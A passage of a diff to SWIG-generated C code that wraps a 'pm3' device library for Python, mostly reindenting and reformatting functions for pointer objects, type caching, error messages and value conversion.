Py_DECREF(SwigPyObject_append((PyObject*) sthis, obj[1])); } else { - SwigPyObject *sthis = SWIG_Python_GetSwigThis(obj[0]); - if (sthis) { - Py_DECREF(SwigPyObject_append((PyObject *) sthis, obj[1])); - } else { - if (SWIG_Python_SetSwigThis(obj[0], obj[1]) != 0) - return NULL; - } - return SWIG_Py_Void(); + if (SWIG_Python_SetSwigThis(obj[0], obj[1]) != 0) + return NULL; } + return SWIG_Py_Void(); + } } /* Create a new pointer object */ SWIGRUNTIME PyObject * SWIG_Python_NewPointerObj(PyObject *self, void *ptr, swig_type_info *type, int flags) { - SwigPyClientData *clientdata; - PyObject *robj; - int own; + SwigPyClientData *clientdata; + PyObject * robj; + int own; - if (!ptr) - return SWIG_Py_Void(); + if (!ptr) + return SWIG_Py_Void(); - clientdata = type ? (SwigPyClientData *)(type->clientdata) : 0; - own = (flags & SWIG_POINTER_OWN) ? SWIG_POINTER_OWN : 0; - if (clientdata && clientdata->pytype) { - SwigPyObject *newobj; - if (flags & SWIG_BUILTIN_TP_INIT) { - newobj = (SwigPyObject *) self; - if (newobj->ptr) { + clientdata = type ? (SwigPyClientData *)(type->clientdata) : 0; + own = (flags & SWIG_POINTER_OWN) ? SWIG_POINTER_OWN : 0; + if (clientdata && clientdata->pytype) { + SwigPyObject *newobj; + if (flags & SWIG_BUILTIN_TP_INIT) { + newobj = (SwigPyObject*) self; + if (newobj->ptr) { #ifndef Py_LIMITED_API - allocfunc alloc = clientdata->pytype->tp_alloc; + allocfunc alloc = clientdata->pytype->tp_alloc; #else - allocfunc alloc = (allocfunc)PyType_GetSlot(clientdata->pytype, Py_tp_alloc); + allocfunc alloc = (allocfunc)PyType_GetSlot(clientdata->pytype, Py_tp_alloc); #endif - PyObject *next_self = alloc(clientdata->pytype, 0); - while (newobj->next) - newobj = (SwigPyObject *) newobj->next; - newobj->next = next_self; - newobj = (SwigPyObject *)next_self; + PyObject *next_self = alloc(clientdata->pytype, 0); + while (newobj->next) + newobj = (SwigPyObject *) newobj->next; + newobj->next = next_self; + newobj = (SwigPyObject *)next_self; #ifdef SWIGPYTHON_BUILTIN - newobj->dict = 0; + newobj->dict = 0; #endif - } - } else { - newobj = PyObject_New(SwigPyObject, clientdata->pytype); + } + } else { + newobj = PyObject_New(SwigPyObject, clientdata->pytype); #ifdef SWIGPYTHON_BUILTIN - if (newobj) { - newobj->dict = 0; - } + if (newobj) { + newobj->dict = 0; + } #endif - } - if (newobj) { - newobj->ptr = ptr; - newobj->ty = type; - newobj->own = own; - newobj->next = 0; - return (PyObject *) newobj; - } - return SWIG_Py_Void(); } - - assert(!(flags & SWIG_BUILTIN_TP_INIT)); - - robj = SwigPyObject_New(ptr, type, own); - if (robj && clientdata && !(flags & SWIG_POINTER_NOSHADOW)) { - PyObject *inst = SWIG_Python_NewShadowInstance(clientdata, robj); - Py_DECREF(robj); - robj = inst; + if (newobj) { + newobj->ptr = ptr; + newobj->ty = type; + newobj->own = own; + newobj->next = 0; + return (PyObject*) newobj; } - return robj; + return SWIG_Py_Void(); + } + + assert(!(flags & SWIG_BUILTIN_TP_INIT)); + + robj = SwigPyObject_New(ptr, type, own); + if (robj && clientdata && !(flags & SWIG_POINTER_NOSHADOW)) { + PyObject *inst = SWIG_Python_NewShadowInstance(clientdata, robj); + Py_DECREF(robj); + robj = inst; + } + return robj; } /* Create a new packed object */ SWIGRUNTIMEINLINE PyObject * SWIG_Python_NewPackedObj(void *ptr, size_t sz, swig_type_info *type) { - return ptr ? SwigPyPacked_New((void *) ptr, sz, type) : SWIG_Py_Void(); + return ptr ? SwigPyPacked_New((void *) ptr, sz, type) : SWIG_Py_Void(); } /* -----------------------------------------------------------------------------* - * Get type list + * Get type list * -----------------------------------------------------------------------------*/ #ifdef SWIG_LINK_RUNTIME @@ -2841,103 +2878,105 @@ static PyObject *Swig_TypeCache_global = NULL; /* The python cached type query */ SWIGRUNTIME PyObject * SWIG_Python_TypeCache(void) { - if (Swig_TypeCache_global == NULL) { - Swig_TypeCache_global = PyDict_New(); - } - return Swig_TypeCache_global; + if (Swig_TypeCache_global == NULL) { + Swig_TypeCache_global = PyDict_New(); + } + return Swig_TypeCache_global; } SWIGRUNTIME swig_module_info * SWIG_Python_GetModule(void *SWIGUNUSEDPARM(clientdata)) { #ifdef SWIG_LINK_RUNTIME - static void *type_pointer = (void *)0; - /* first check if module already created */ - if (!type_pointer) { - type_pointer = SWIG_ReturnGlobalTypeList((void *)0); - } + static void *type_pointer = (void *)0; + /* first check if module already created */ + if (!type_pointer) { + type_pointer = SWIG_ReturnGlobalTypeList((void *)0); + } #else - void *type_pointer = PyCapsule_Import(SWIGPY_CAPSULE_NAME, 0); - if (PyErr_Occurred()) { - PyErr_Clear(); - type_pointer = (void *)0; - } + void *type_pointer = PyCapsule_Import(SWIGPY_CAPSULE_NAME, 0); + if (PyErr_Occurred()) { + PyErr_Clear(); + type_pointer = (void *)0; + } #endif - return (swig_module_info *) type_pointer; + return (swig_module_info *) type_pointer; } static int interpreter_counter = 0; /* how many (sub-)interpreters are using swig_module's types */ SWIGRUNTIME void -SWIG_Python_DestroyModule(PyObject *obj) { - swig_module_info *swig_module = (swig_module_info *) PyCapsule_GetPointer(obj, SWIGPY_CAPSULE_NAME); - swig_type_info **types = swig_module->types; - size_t i; - if (--interpreter_counter != 0) /* another sub-interpreter may still be using the swig_module's types */ - return; - for (i = 0; i < swig_module->size; ++i) { - swig_type_info *ty = types[i]; - if (ty->owndata) { - SwigPyClientData *data = (SwigPyClientData *) ty->clientdata; - ty->clientdata = 0; - if (data) SwigPyClientData_Del(data); - } +SWIG_Python_DestroyModule(PyObject *obj) +{ + swig_module_info *swig_module = (swig_module_info *) PyCapsule_GetPointer(obj, SWIGPY_CAPSULE_NAME); + swig_type_info **types = swig_module->types; + size_t i; + if (--interpreter_counter != 0) /* another sub-interpreter may still be using the swig_module's types */ + return; + for (i =0; i < swig_module->size; ++i) { + swig_type_info *ty = types[i]; + if (ty->owndata) { + SwigPyClientData *data = (SwigPyClientData *) ty->clientdata; + ty->clientdata = 0; + if (data) SwigPyClientData_Del(data); } - Py_DECREF(SWIG_This()); - Swig_This_global = NULL; - Py_DECREF(SWIG_globals()); - Swig_Globals_global = NULL; - Py_DECREF(SWIG_Python_TypeCache()); - Swig_TypeCache_global = NULL; - Swig_Capsule_global = NULL; + } + Py_DECREF(SWIG_This()); + Swig_This_global = NULL; + Py_DECREF(SWIG_globals()); + Swig_Globals_global = NULL; + Py_DECREF(SWIG_Python_TypeCache()); + Swig_TypeCache_global = NULL; + Swig_Capsule_global = NULL; } SWIGRUNTIME void SWIG_Python_SetModule(swig_module_info *swig_module) { #if PY_VERSION_HEX >= 0x03000000 - /* Add a dummy module object into sys.modules */ - PyObject *module = PyImport_AddModule("swig_runtime_data" SWIG_RUNTIME_VERSION); + /* Add a dummy module object into sys.modules */ + PyObject *module = PyImport_AddModule("swig_runtime_data" SWIG_RUNTIME_VERSION); #else - static PyMethodDef swig_empty_runtime_method_table[] = { {NULL, NULL, 0, NULL} }; /* Sentinel */ - PyObject *module = Py_InitModule("swig_runtime_data" SWIG_RUNTIME_VERSION, swig_empty_runtime_method_table); + static PyMethodDef swig_empty_runtime_method_table[] = { {NULL, NULL, 0, NULL} }; /* Sentinel */ + PyObject *module = Py_InitModule("swig_runtime_data" SWIG_RUNTIME_VERSION, swig_empty_runtime_method_table); #endif - PyObject *pointer = PyCapsule_New((void *) swig_module, SWIGPY_CAPSULE_NAME, SWIG_Python_DestroyModule); - if (pointer && module) { - if (PyModule_AddObject(module, SWIGPY_CAPSULE_ATTR_NAME, pointer) == 0) { - ++interpreter_counter; - Swig_Capsule_global = pointer; - } else { - Py_DECREF(pointer); - } + PyObject *pointer = PyCapsule_New((void *) swig_module, SWIGPY_CAPSULE_NAME, SWIG_Python_DestroyModule); + if (pointer && module) { + if (PyModule_AddObject(module, SWIGPY_CAPSULE_ATTR_NAME, pointer) == 0) { + ++interpreter_counter; + Swig_Capsule_global = pointer; } else { - Py_XDECREF(pointer); + Py_DECREF(pointer); } + } else { + Py_XDECREF(pointer); + } } SWIGRUNTIME swig_type_info * -SWIG_Python_TypeQuery(const char *type) { - PyObject *cache = SWIG_Python_TypeCache(); - PyObject *key = SWIG_Python_str_FromChar(type); - PyObject *obj = PyDict_GetItem(cache, key); - swig_type_info *descriptor; - if (obj) { - descriptor = (swig_type_info *) PyCapsule_GetPointer(obj, NULL); - } else { - swig_module_info *swig_module = SWIG_GetModule(0); - descriptor = SWIG_TypeQueryModule(swig_module, swig_module, type); - if (descriptor) { - obj = PyCapsule_New((void *) descriptor, NULL, NULL); - if (obj) { - PyDict_SetItem(cache, key, obj); - Py_DECREF(obj); - } - } +SWIG_Python_TypeQuery(const char *type) +{ + PyObject *cache = SWIG_Python_TypeCache(); + PyObject *key = SWIG_Python_str_FromChar(type); + PyObject *obj = PyDict_GetItem(cache, key); + swig_type_info *descriptor; + if (obj) { + descriptor = (swig_type_info *) PyCapsule_GetPointer(obj, NULL); + } else { + swig_module_info *swig_module = SWIG_GetModule(0); + descriptor = SWIG_TypeQueryModule(swig_module, swig_module, type); + if (descriptor) { + obj = PyCapsule_New((void*) descriptor, NULL, NULL); + if (obj) { + PyDict_SetItem(cache, key, obj); + Py_DECREF(obj); + } } - Py_DECREF(key); - return descriptor; + } + Py_DECREF(key); + return descriptor; } -/* +/* For backward compatibility only */ #define SWIG_POINTER_EXCEPTION 0 @@ -2945,155 +2984,159 @@ SWIG_Python_TypeQuery(const char *type) { #define SWIG_MustGetPtr(p, type, argnum, flags) SWIG_Python_MustGetPtr(p, type, argnum, flags) SWIGRUNTIME int -SWIG_Python_AddErrMesg(const char *mesg, int infront) { - if (PyErr_Occurred()) { - PyObject *type = 0; - PyObject *value = 0; - PyObject *traceback = 0; - PyErr_Fetch(&type, &value, &traceback); - if (value) { - PyObject *old_str = PyObject_Str(value); - PyObject *bytes = NULL; - const char *tmp = SWIG_PyUnicode_AsUTF8AndSize(old_str, NULL, &bytes); - const char *errmesg = tmp ? tmp : "Invalid error message"; - Py_XINCREF(type); - PyErr_Clear(); - if (infront) { - PyErr_Format(type, "%s %s", mesg, errmesg); - } else { - PyErr_Format(type, "%s %s", errmesg, mesg); - } - Py_XDECREF(bytes); - Py_DECREF(old_str); - } - return 1; - } else { - return 0; +SWIG_Python_AddErrMesg(const char* mesg, int infront) +{ + if (PyErr_Occurred()) { + PyObject *type = 0; + PyObject *value = 0; + PyObject *traceback = 0; + PyErr_Fetch(&type, &value, &traceback); + if (value) { + PyObject *old_str = PyObject_Str(value); + PyObject *bytes = NULL; + const char *tmp = SWIG_PyUnicode_AsUTF8AndSize(old_str, NULL, &bytes); + const char *errmesg = tmp ? tmp : "Invalid error message"; + Py_XINCREF(type); + PyErr_Clear(); + if (infront) { + PyErr_Format(type, "%s %s", mesg, errmesg); + } else { + PyErr_Format(type, "%s %s", errmesg, mesg); + } + Py_XDECREF(bytes); + Py_DECREF(old_str); } + return 1; + } else { + return 0; + } } - + SWIGRUNTIME int -SWIG_Python_ArgFail(int argnum) { - if (PyErr_Occurred()) { - /* add information about failing argument */ - char mesg[256]; - PyOS_snprintf(mesg, sizeof(mesg), "argument number %d:", argnum); - return SWIG_Python_AddErrMesg(mesg, 1); - } else { - return 0; - } +SWIG_Python_ArgFail(int argnum) +{ + if (PyErr_Occurred()) { + /* add information about failing argument */ + char mesg[256]; + PyOS_snprintf(mesg, sizeof(mesg), "argument number %d:", argnum); + return SWIG_Python_AddErrMesg(mesg, 1); + } else { + return 0; + } } SWIGRUNTIMEINLINE const char * -SwigPyObject_GetDesc(PyObject *self) { - SwigPyObject *v = (SwigPyObject *)self; - swig_type_info *ty = v ? v->ty : 0; - return ty ? ty->str : ""; +SwigPyObject_GetDesc(PyObject *self) +{ + SwigPyObject *v = (SwigPyObject *)self; + swig_type_info *ty = v ? v->ty : 0; + return ty ? ty->str : ""; } SWIGRUNTIME void -SWIG_Python_TypeError(const char *type, PyObject *obj) { - if (type) { +SWIG_Python_TypeError(const char *type, PyObject *obj) +{ + if (type) { #if defined(SWIG_COBJECT_TYPES) - if (obj && SwigPyObject_Check(obj)) { - const char *otype = (const char *) SwigPyObject_GetDesc(obj); - if (otype) { - PyErr_Format(PyExc_TypeError, "a '%s' is expected, 'SwigPyObject(%s)' is received", - type, otype); - return; - } - } else -#endif - { + if (obj && SwigPyObject_Check(obj)) { + const char *otype = (const char *) SwigPyObject_GetDesc(obj); + if (otype) { + PyErr_Format(PyExc_TypeError, "a '%s' is expected, 'SwigPyObject(%s)' is received", + type, otype); + return; + } + } else +#endif + { #ifndef Py_LIMITED_API - /* tp_name is not accessible */ - const char *otype = (obj ? obj->ob_type->tp_name : 0); - if (otype) { - PyObject *str = PyObject_Str(obj); - PyObject *bytes = NULL; - const char *cstr = str ? SWIG_PyUnicode_AsUTF8AndSize(str, NULL, &bytes) : 0; - if (cstr) { - PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s(%s)' is received", - type, otype, cstr); - } else { - PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s' is received", - type, otype); - } - Py_XDECREF(bytes); - Py_XDECREF(str); - return; - } + /* tp_name is not accessible */ + const char *otype = (obj ? obj->ob_type->tp_name : 0); + if (otype) { + PyObject *str = PyObject_Str(obj); + PyObject *bytes = NULL; + const char *cstr = str ? SWIG_PyUnicode_AsUTF8AndSize(str, NULL, &bytes) : 0; + if (cstr) { + PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s(%s)' is received", + type, otype, cstr); + } else { + PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s' is received", + type, otype); + } + Py_XDECREF(bytes); + Py_XDECREF(str); + return; + } #endif - } - PyErr_Format(PyExc_TypeError, "a '%s' is expected", type); - } else { - PyErr_Format(PyExc_TypeError, "unexpected type is received"); - } + } + PyErr_Format(PyExc_TypeError, "a '%s' is expected", type); + } else { + PyErr_Format(PyExc_TypeError, "unexpected type is received"); + } } /* Convert a pointer value, signal an exception on a type mismatch */ SWIGRUNTIME void * SWIG_Python_MustGetPtr(PyObject *obj, swig_type_info *ty, int SWIGUNUSEDPARM(argnum), int flags) { - void *result; - if (SWIG_Python_ConvertPtr(obj, &result, ty, flags) == -1) { - PyErr_Clear(); - } - return result; + void *result; + if (SWIG_Python_ConvertPtr(obj, &result, ty, flags) == -1) { + PyErr_Clear(); + } + return result; } #ifdef SWIGPYTHON_BUILTIN SWIGRUNTIME int SWIG_Python_NonDynamicSetAttr(PyObject *obj, PyObject *name, PyObject *value) { - PyTypeObject *tp = obj->ob_type; - PyObject *descr; - PyObject *encoded_name; - descrsetfunc f; - int res = -1; + PyTypeObject *tp = obj->ob_type; + PyObject *descr; + PyObject *encoded_name; + descrsetfunc f; + int res = -1; # ifdef Py_USING_UNICODE - if (PyString_Check(name)) { - name = PyUnicode_Decode(PyString_AsString(name), PyString_Size(name), NULL, NULL); - if (!name) - return -1; - } else if (!PyUnicode_Check(name)) + if (PyString_Check(name)) { + name = PyUnicode_Decode(PyString_AsString(name), PyString_Size(name), NULL, NULL); + if (!name) + return -1; + } else if (!PyUnicode_Check(name)) # else - if (!PyString_Check(name)) + if (!PyString_Check(name)) # endif - { - PyErr_Format(PyExc_TypeError, "attribute name must be string, not '%.200s'", name->ob_type->tp_name); - return -1; + { + PyErr_Format(PyExc_TypeError, "attribute name must be string, not '%.200s'", name->ob_type->tp_name); + return -1; + } else { + Py_INCREF(name); + } + + if (!tp->tp_dict) { + if (PyType_Ready(tp) != 0) + goto done; + } + + descr = _PyType_Lookup(tp, name); + f = NULL; + if (descr != NULL) + f = descr->ob_type->tp_descr_set; + if (!f) { + if (PyString_Check(name)) { + encoded_name = name; + Py_INCREF(name); } else { - Py_INCREF(name); + encoded_name = PyUnicode_AsUTF8String(name); + if (!encoded_name) + goto done; } - - if (!tp->tp_dict) { - if (PyType_Ready(tp) != 0) - goto done; - } - - descr = _PyType_Lookup(tp, name); - f = NULL; - if (descr != NULL) - f = descr->ob_type->tp_descr_set; - if (!f) { - if (PyString_Check(name)) { - encoded_name = name; - Py_INCREF(name); - } else { - encoded_name = PyUnicode_AsUTF8String(name); - if (!encoded_name) - goto done; - } - PyErr_Format(PyExc_AttributeError, "'%.100s' object has no attribute '%.200s'", tp->tp_name, PyString_AsString(encoded_name)); - Py_DECREF(encoded_name); - } else { - res = f(descr, obj, value); - } - -done: - Py_DECREF(name); - return res; + PyErr_Format(PyExc_AttributeError, "'%.100s' object has no attribute '%.200s'", tp->tp_name, PyString_AsString(encoded_name)); + Py_DECREF(encoded_name); + } else { + res = f(descr, obj, value); + } + + done: + Py_DECREF(name); + return res; } #endif @@ -3104,9 +3147,9 @@ done: -#define SWIG_exception_fail(code, msg) do { SWIG_Error(code, msg); SWIG_fail; } while(0) +#define SWIG_exception_fail(code, msg) do { SWIG_Error(code, msg); SWIG_fail; } while(0) -#define SWIG_contract_assert(expr, msg) do { if (!(expr)) { SWIG_Error(SWIG_RuntimeError, msg); SWIG_fail; } } while (0) +#define SWIG_contract_assert(expr, msg) do { if (!(expr)) { SWIG_Error(SWIG_RuntimeError, msg); SWIG_fail; } } while (0) @@ -3138,180 +3181,181 @@ static swig_module_info swig_module = {swig_types, 2, 0, 0, 0, 0}; #endif #define SWIG_name "_pm3" -#define SWIG_as_voidptr(a) (void *)((const void *)(a)) -#define SWIG_as_voidptrptr(a) ((void)SWIG_as_voidptr(*a),(void**)(a)) +#define SWIG_as_voidptr(a) (void *)((const void *)(a)) +#define SWIG_as_voidptrptr(a) ((void)SWIG_as_voidptr(*a),(void**)(a)) /* Include the header in the wrapper code */ #include "pm3.h" #include "comms.h" -SWIGINTERN pm3 *new_pm3__SWIG_0(void) { +SWIGINTERN pm3 *new_pm3__SWIG_0(void){ // printf("SWIG pm3 constructor, get current pm3\n"); - pm3_device_t *p = pm3_get_current_dev(); - p->script_embedded = 1; - return p; -} + pm3_device_t * p = pm3_get_current_dev(); + p->script_embedded = 1; + return p; + } -SWIGINTERN swig_type_info * -SWIG_pchar_descriptor(void) { - static int init = 0; - static swig_type_info *info = 0; - if (!init) { - info = SWIG_TypeQuery("_p_char"); - init = 1; - } - return info; +SWIGINTERN swig_type_info* +SWIG_pchar_descriptor(void) +{ + static int init = 0; + static swig_type_info* info = 0; + if (!init) { + info = SWIG_TypeQuery("_p_char"); + init = 1; + } + return info; } /* Return string from Python obj. NOTE: obj must remain in scope in order to use the returned cptr (but only when alloc is set to SWIG_OLDOBJ) */ SWIGINTERN int -SWIG_AsCharPtrAndSize(PyObject *obj, char **cptr, size_t *psize, int *alloc) { +SWIG_AsCharPtrAndSize(PyObject *obj, char **cptr, size_t *psize, int *alloc) +{ #if PY_VERSION_HEX>=0x03000000 #if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) - if (PyBytes_Check(obj)) + if (PyBytes_Check(obj)) #else - if (PyUnicode_Check(obj)) + if (PyUnicode_Check(obj)) #endif -#else - if (PyString_Check(obj)) +#else + if (PyString_Check(obj)) #endif - { - char *cstr; - Py_ssize_t len; - PyObject *bytes = NULL; - int ret = SWIG_OK; - if (alloc) - *alloc = SWIG_OLDOBJ; + { + char *cstr; Py_ssize_t len; + PyObject *bytes = NULL; + int ret = SWIG_OK; + if (alloc) + *alloc = SWIG_OLDOBJ; #if PY_VERSION_HEX>=0x03000000 && defined(SWIG_PYTHON_STRICT_BYTE_CHAR) - if (PyBytes_AsStringAndSize(obj, &cstr, &len) == -1) - return SWIG_TypeError; + if (PyBytes_AsStringAndSize(obj, &cstr, &len) == -1) + return SWIG_TypeError; #else - cstr = (char *)SWIG_PyUnicode_AsUTF8AndSize(obj, &len, &bytes); - if (!cstr) - return SWIG_TypeError; - /* The returned string is only duplicated if the char * returned is not owned and memory managed by obj */ - if (bytes && cptr) { - if (alloc) { - cstr = (char *)memcpy(malloc((len + 1) * sizeof(char)), cstr, sizeof(char) * (len + 1)); - *alloc = SWIG_NEWOBJ; - } else { - /* alloc must be set in order to clean up allocated memory */ - return SWIG_RuntimeError; - } - } + cstr = (char *)SWIG_PyUnicode_AsUTF8AndSize(obj, &len, &bytes); + if (!cstr) + return SWIG_TypeError; + /* The returned string is only duplicated if the char * returned is not owned and memory managed by obj */ + if (bytes && cptr) { + if (alloc) { + cstr = (char *)memcpy(malloc((len + 1)*sizeof(char)), cstr, sizeof(char)*(len + 1)); + *alloc = SWIG_NEWOBJ; + } else { + /* alloc must be set in order to clean up allocated memory */ + return SWIG_RuntimeError; + } + } #endif - if (cptr) *cptr = cstr; - if (psize) *psize = len + 1; - Py_XDECREF(bytes); - return ret; - } else { + if (cptr) *cptr = cstr; + if (psize) *psize = len + 1; + Py_XDECREF(bytes); + return ret; + } else { #if defined(SWIG_PYTHON_2_UNICODE) #if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) #error "Cannot use both SWIG_PYTHON_2_UNICODE and SWIG_PYTHON_STRICT_BYTE_CHAR at once" #endif #if PY_VERSION_HEX<0x03000000 - if (PyUnicode_Check(obj)) { - char *cstr; - Py_ssize_t len; - if (!alloc && cptr) { - return SWIG_RuntimeError; - } - obj = PyUnicode_AsUTF8String(obj); - if (!obj) - return SWIG_TypeError; - if (PyString_AsStringAndSize(obj, &cstr, &len) != -1) { - if (cptr) { - if (alloc) *alloc = SWIG_NEWOBJ; - *cptr = (char *)memcpy(malloc((len + 1) * sizeof(char)), cstr, sizeof(char) * (len + 1)); - } - if (psize) *psize = len + 1; - - Py_XDECREF(obj); - return SWIG_OK; - } else { - Py_XDECREF(obj); - } + if (PyUnicode_Check(obj)) { + char *cstr; Py_ssize_t len; + if (!alloc && cptr) { + return SWIG_RuntimeError; + } + obj = PyUnicode_AsUTF8String(obj); + if (!obj) + return SWIG_TypeError; + if (PyString_AsStringAndSize(obj, &cstr, &len) != -1) { + if (cptr) { + if (alloc) *alloc = SWIG_NEWOBJ; + *cptr = (char *)memcpy(malloc((len + 1)*sizeof(char)), cstr, sizeof(char)*(len + 1)); } -#endif -#endif + if (psize) *psize = len + 1; - swig_type_info *pchar_descriptor = SWIG_pchar_descriptor(); - if (pchar_descriptor) { - void *vptr = 0; - if (SWIG_ConvertPtr(obj, &vptr, pchar_descriptor, 0) == SWIG_OK) { - if (cptr) *cptr = (char *) vptr; - if (psize) *psize = vptr ? (strlen((char *)vptr) + 1) : 0; - if (alloc) *alloc = SWIG_OLDOBJ; - return SWIG_OK; - } - } + Py_XDECREF(obj); + return SWIG_OK; + } else { + Py_XDECREF(obj); + } } - return SWIG_TypeError; +#endif +#endif + + swig_type_info* pchar_descriptor = SWIG_pchar_descriptor(); + if (pchar_descriptor) { + void* vptr = 0; + if (SWIG_ConvertPtr(obj, &vptr, pchar_descriptor, 0) == SWIG_OK) { + if (cptr) *cptr = (char *) vptr; + if (psize) *psize = vptr ? (strlen((char *)vptr) + 1) : 0; + if (alloc) *alloc = SWIG_OLDOBJ; + return SWIG_OK; + } + } + } + return SWIG_TypeError; } -SWIGINTERN pm3 *new_pm3__SWIG_1(char *port) { +SWIGINTERN pm3 *new_pm3__SWIG_1(char *port){ // printf("SWIG pm3 constructor with port, open pm3\n"); - pm3_device_t *p = pm3_open(port); - p->script_embedded = 0; - return p; -} -SWIGINTERN void delete_pm3(pm3 *self) { - if (self->script_embedded) { + pm3_device_t * p = pm3_open(port); + p->script_embedded = 0; + return p; + } +SWIGINTERN void delete_pm3(pm3 *self){ + if (self->script_embedded) { // printf("SWIG pm3 destructor, nothing to do\n"); - } else { + } else { // printf("SWIG pm3 destructor, close pm3\n"); - pm3_close(self); - } -} + pm3_close(self); + } + } SWIGINTERN int -SWIG_AsVal_double(PyObject *obj, double *val) { - int res = SWIG_TypeError; - if (PyFloat_Check(obj)) { - if (val) *val = PyFloat_AsDouble(obj); - return SWIG_OK; +SWIG_AsVal_double (PyObject *obj, double *val) +{ + int res = SWIG_TypeError; + if (PyFloat_Check(obj)) { + if (val) *val = PyFloat_AsDouble(obj); + return SWIG_OK; #if PY_VERSION_HEX < 0x03000000 - } else if (PyInt_Check(obj)) { - if (val) *val = (double) PyInt_AsLong(obj); - return SWIG_OK; + } else if (PyInt_Check(obj)) { + if (val) *val = (double) PyInt_AsLong(obj); + return SWIG_OK; #endif - } else if (PyLong_Check(obj)) { - double v = PyLong_AsDouble(obj); - if (!PyErr_Occurred()) { - if (val) *val = v; - return SWIG_OK; - } else { - PyErr_Clear(); - } + } else if (PyLong_Check(obj)) { + double v = PyLong_AsDouble(obj); + if (!PyErr_Occurred()) { + if (val) *val = v; + return SWIG_OK; + } else { + PyErr_Clear(); } + } #ifdef SWIG_PYTHON_CAST_MODE - { - int dispatch = 0; - double d = PyFloat_AsDouble(obj); - if (!PyErr_Occurred()) { - if (val) *val = d; - return SWIG_AddCast(SWIG_OK); - } else { - PyErr_Clear(); - } - if (!dispatch) { - long v = PyLong_AsLong(obj); - if (!PyErr_Occurred()) { - if (val) *val = v; - return SWIG_AddCast(SWIG_AddCast(SWIG_OK)); - } else { - PyErr_Clear(); - } - } + { + int dispatch = 0; + double d = PyFloat_AsDouble(obj); + if (!PyErr_Occurred()) { + if (val) *val = d; + return SWIG_AddCast(SWIG_OK); + } else { + PyErr_Clear(); } + if (!dispatch) { + long v = PyLong_AsLong(obj); + if (!PyErr_Occurred()) { + if (val) *val = v; + return SWIG_AddCast(SWIG_AddCast(SWIG_OK)); + } else { + PyErr_Clear(); + } + } + } #endif - return res; + return res; } @@ -3323,364 +3367,378 @@ SWIG_AsVal_double(PyObject *obj, double *val) { SWIGINTERNINLINE int SWIG_CanCastAsInteger(double *d, double min, double max) { - double x = *d; - if ((min <= x && x <= max)) { - double fx, cx, rd; - errno = 0; - fx = floor(x); - cx = ceil(x); - rd = ((x - fx) < 0.5) ? fx : cx; /* simple rint */ - if ((errno == EDOM) || (errno == ERANGE)) { - errno = 0; - } else { - double summ, reps, diff; - if (rd < x) { - diff = x - rd; - } else if (rd > x) { - diff = rd - x; - } else { - return 1; - } - summ = rd + x; - reps = diff / summ; - if (reps < 8 * DBL_EPSILON) { - *d = rd; - return 1; - } - } - } - return 0; + double x = *d; + if ((min <= x && x <= max)) { + double fx, cx, rd; + errno = 0; + fx = floor(x); + cx = ceil(x); + rd = ((x - fx) < 0.5) ? fx : cx; /* simple rint */ + if ((errno == EDOM) || (errno == ERANGE)) { + errno = 0; + } else { + double summ, reps, diff; + if (rd < x) { + diff = x - rd; + } else if (rd > x) { + diff = rd - x; + } else { + return 1; + } + summ = rd + x; + reps = diff/summ; + if (reps < 8*DBL_EPSILON) { + *d = rd; + return 1; + } + } + } + return 0; } SWIGINTERN int -SWIG_AsVal_long(PyObject *obj, long *val) { +SWIG_AsVal_long (PyObject *obj, long* val) +{ #if PY_VERSION_HEX < 0x03000000 - if (PyInt_Check(obj)) { - if (val) *val = PyInt_AsLong(obj); - return SWIG_OK; - } else + if (PyInt_Check(obj)) { + if (val) *val = PyInt_AsLong(obj); + return SWIG_OK; + } else #endif - if (PyLong_Check(obj)) { - long v = PyLong_AsLong(obj); - if (!PyErr_Occurred()) { - if (val) *val = v; - return SWIG_OK; - } else { - PyErr_Clear(); - return SWIG_OverflowError; - } - } -#ifdef SWIG_PYTHON_CAST_MODE - { - int dispatch = 0; - long v = PyInt_AsLong(obj); - if (!PyErr_Occurred()) { - if (val) *val = v; - return SWIG_AddCast(SWIG_OK); - } else { - PyErr_Clear(); - } - if (!dispatch) { - double d; - int res = SWIG_AddCast(SWIG_AsVal_double(obj, &d)); - // Largest double not larger than LONG_MAX (not portably calculated easily) - // Note that double(LONG_MAX) is stored in a double rounded up by one (for 64-bit long) - // 0x7ffffffffffffc00LL == (int64_t)std::nextafter(double(__uint128_t(LONG_MAX)+1), double(0)) - const double long_max = sizeof(long) == 8 ? 0x7ffffffffffffc00LL : LONG_MAX; - // No equivalent needed for 64-bit double(LONG_MIN) is exactly LONG_MIN - if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, LONG_MIN, long_max)) { - if (val) *val = (long)(d); - return res; - } - } + if (PyLong_Check(obj)) { + long v = PyLong_AsLong(obj); + if (!PyErr_Occurred()) { + if (val) *val = v; + return SWIG_OK; + } else { + PyErr_Clear(); + return SWIG_OverflowError; } + } +#ifdef SWIG_PYTHON_CAST_MODE + { + int dispatch = 0; + long v = PyInt_AsLong(obj); + if (!PyErr_Occurred()) { + if (val) *val = v; + return SWIG_AddCast(SWIG_OK); + } else { + PyErr_Clear(); + } + if (!dispatch) { + double d; + int res = SWIG_AddCast(SWIG_AsVal_double (obj,&d)); + // Largest double not larger than LONG_MAX (not portably calculated easily) + // Note that double(LONG_MAX) is stored in a double rounded up by one (for 64-bit long) + // 0x7ffffffffffffc00LL == (int64_t)std::nextafter(double(__uint128_t(LONG_MAX)+1), double(0)) + const double long_max = sizeof(long) == 8 ? 0x7ffffffffffffc00LL : LONG_MAX; + // No equivalent needed for 64-bit double(LONG_MIN) is exactly LONG_MIN + if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, LONG_MIN, long_max)) { + if (val) *val = (long)(d); + return res; + } + } + } #endif - return SWIG_TypeError; + return SWIG_TypeError; } SWIGINTERN int -SWIG_AsVal_bool(PyObject *obj, bool *val) { - int r; - if (!PyBool_Check(obj)) - return SWIG_ERROR; - r = PyObject_IsTrue(obj); - if (r == -1) - return SWIG_ERROR; - if (val) *val = r ? true : false; - return SWIG_OK; +SWIG_AsVal_bool (PyObject *obj, bool *val) +{ + int r; + if (!PyBool_Check(obj)) + return SWIG_ERROR; + r = PyObject_IsTrue(obj); + if (r == -1) + return SWIG_ERROR; + if (val) *val = r ? true : false; + return SWIG_OK; +} + + +SWIGINTERNINLINE 